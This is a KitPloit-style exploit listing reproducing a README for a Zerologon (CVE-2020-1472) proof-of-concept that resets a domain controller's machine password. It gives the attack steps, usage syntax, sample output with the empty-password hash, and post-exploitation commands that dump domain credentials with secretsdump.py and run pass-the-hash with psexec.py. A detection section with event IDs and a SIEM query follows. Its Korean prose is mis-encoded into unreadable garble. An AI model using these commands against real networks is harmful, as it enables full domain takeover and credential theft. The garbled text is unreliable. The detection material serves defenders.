## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MODS20HH-ZEROLOGON-POC-DC-PWN
# Zerologon (CVE-2020-1472)
## κ°μ
μ΄ νλ‘μ νΈλ κ°μ₯ μ€μν Active Directory 보μ μ·¨μ½μ μ€ νλμΈ **Zerologon μ·¨μ½μ (CVE-2020-1472)**μ ꡬνμ
λλ€. μ΄ μ·¨μ½μ μ μΈμ¦λμ§ μμ 곡격μκ° λλ©μΈ 컨νΈλ‘€λ¬μ μ»΄ν¨ν° κ³μ λΉλ°λ²νΈλ₯Ό μ¬μ€μ νμ¬ μ 체 Active Directory λλ©μΈμ μμμν€λ κ²μ νμ©ν©λλ€.
### CVSS μ μ: 10.0 (μΉλͺ
μ )
## Zerologonμ΄λ 무μμΈκ°?
Zerologonμ Microsoftμ Netlogon μ격 νλ‘ν μ½(MS-NRPC)μ μ‘΄μ¬νλ μνΈν κ²°ν¨μ
λλ€. μ΄ μ·¨μ½μ μ Netlogonμ΄ νλμ½λ©λ 0 κ°μ μ΄κΈ°ν 벑ν°(IV)μ ν¨κ» AES-CFB8 μνΈνλ₯Ό μ¬μ©νλ λ°©μμ μ‘΄μ¬ν©λλ€.
**κΈ°μ μμ½:**
* Netlogon νλ‘ν μ½μ challenge-response(λμ -μλ΅) μΈμ¦ λ©μ»€λμ¦μ μ¬μ©ν©λλ€.
* μλͺ»λ μνΈν ꡬνμΌλ‘ μΈν΄, λͺ¨λ 0μΈ challengeλ 1/256μ νλ₯ λ‘ μ ν¨ν μΈμ¦μ μμ±ν μ μμ΅λλ€.
* 곡격μλ μ½ 2000νμ μΈμ¦ μλλ₯Ό λ³΄λ΄ μ΄ κ²°ν¨μ μμ μ μΌλ‘ μ
μ©ν μ μμ΅λλ€.
* μΈμ¦μ μ±κ³΅νλ©΄, 곡격μλ λλ©μΈ 컨νΈλ‘€λ¬μ μ»΄ν¨ν° κ³μ λΉλ°λ²νΈλ₯Ό μλ €μ§ κ°(λΉ ν΄μ)μΌλ‘ μ¬μ€μ ν μ μμ΅λλ€.
## μλ μ리
root@kitploit:~
1. Target Selection
ββ> Identify Domain Controller (FQDN, NetBIOS name, machine account)
2. Challenge Phase (I_NetServerReqChallenge)
ββ> Send all-zero client challenge (0x0000000000000000)
ββ> Receive server challenge
3. Authentication Phase (I_NetServerAuthenticate2)
ββ> Attempt authentication with null credentials
ββ> Repeat until successful (~1/256 success rate per attempt)
4. Password Reset Phase (I_NetServerPasswordSet2)
ββ> Reset DC machine account password to empty
ββ> New NT hash: 31d6cfe0d16ae931b73c59d7e0c089c0 (empty password)
5. Post-Exploitation
ββ> Use Pass-the-Hash with empty credentials
ββ> Full domain compromise achieved
## νλ‘μ νΈ λΉλ
### μ¬μ μꡬ μ¬ν
* Windows κ°λ° νκ²½ (Windows 10/11)
* Visual Studio 2022
* Windows SDK
### μ»΄νμΌ
**Visual Studio μ¬μ©:**
root@kitploit:~
1. Open Visual Studio
2. Select **Build Solution** from the **Build** menu.
## μ¬μ©λ²
root@kitploit:~
Zerologon.exe <DC_FQDN> <DC_NetBIOS_Name> <Machine_Account_Name>
**μμ:**
root@kitploit:~
Zerologon.exe DC01.corp.example.com DC01 DC01$
### λ§€κ°λ³μ:
* `DC_FQDN`: λμ λλ©μΈ 컨νΈλ‘€λ¬μ μ κ·νλ λλ©μΈ μ΄λ¦(FQDN)
* `DC_NetBIOS_Name`: DCμ NetBIOS μ΄λ¦ (μΌλ°μ μΌλ‘ νΈμ€νΈ μ΄λ¦)
* `Machine_Account_Name`: μ»΄ν¨ν° κ³μ μ΄λ¦ ($λ‘ λλμΌ ν¨)
### μμ μΆλ ₯:
**μ±κ³΅μ μΈ μ
μ©:**
root@kitploit:~
[+] Targeting Domain Controller:
FQDN : DC01.corp.example.com
NetBIOS Name : DC01
Machine Account: DC01$
[+] SUCCESS: Machine account password reset to empty!
[+] Now use Pass-the-Hash with:
.\DC01$:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[+] Then run: secretsdump.py -just-dc <domain>/<dc_account>@<dc_ip>
**μ€ν¨ν μ
μ© (ν¨μΉλ μμ€ν
):**
root@kitploit:~
[-] Attack failed after 2000 attempts. Target likely patched.
## μ¬ν μ
μ©
DC λΉλ°λ²νΈλ₯Ό μ±κ³΅μ μΌλ‘ μ¬μ€μ ν ν, λ€μμ μνν μ μμ΅λλ€:
1. **λλ©μΈ μ격 μ¦λͺ
λ€ν:**
root@kitploit:~
secretsdump.py -no-pass -just-dc 'DOMAIN/DC01$'@192.168.1.10
2. **Pass-the-Hash μΈμ¦:**
root@kitploit:~
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC01$'@DC01
## νμ§
**λ€νΈμν¬ κΈ°λ° νμ§:**
* λ¨μΌ μμ€μμ λ°μν λ€μμ μ€ν¨ν Netlogon μΈμ¦ μλ
* MS-NRPC νΈλν½μ λΉμ μ ν¨ν΄
* Zerologon μ
μ©μ λν IDS/IPS μκ·Έλμ²
**λ‘κ·Έ κΈ°λ° νμ§:**
root@kitploit:~
Event Viewer β Windows Logs β System
- Event ID 5827: Multiple password validation failures
- Event ID 5829: Secure channel reset
**SIEM 쿼리:**
root@kitploit:~
source="WinEventLog:System" EventCode=5827 OR EventCode=5829
| stats count by Computer, SourceIP
| where count > 100
## λ©΄μ±
μ‘°ν
μ΄ λꡬλ **κ΅μ‘ λ° μΉμΈλ 보μ μ°κ΅¬ λͺ©μ μΌλ‘λ§** μ 곡λ©λλ€.
**μ μλ μ΄ μ½λμ μ€μ©μ λν΄ μ΄λ ν μ±
μλ μ§μ§ μμ΅λλ€.**
## μ°Έκ³ μλ£
### 곡μ μλ£:
* CVE-2020-1472 - NIST
* Microsoft 보μ κΆκ³
* Secura μ°κ΅¬ λ
Όλ¬Έ
### κΈ°μ λΆμ:
* Microsoft Netlogon νλ‘ν μ½ μ¬μ
* Zerologon κΈ°μ μ¬μΈ΅ λΆμ
### λꡬ:
* Impacket Toolkit \- μ¬ν μ
μ©μ©
* Mimikatz \- μ격 μ¦λͺ
μΆμΆ
## λΌμ΄μ μ€
μ΄ νλ‘μ νΈλ MIT λΌμ΄μ μ€μ λ°λΌ λΌμ΄μ μ€κ° λΆμ¬λ©λλ€. μμΈν λ΄μ©μ LICENSE νμΌμ μ°Έμ‘°νμμμ€.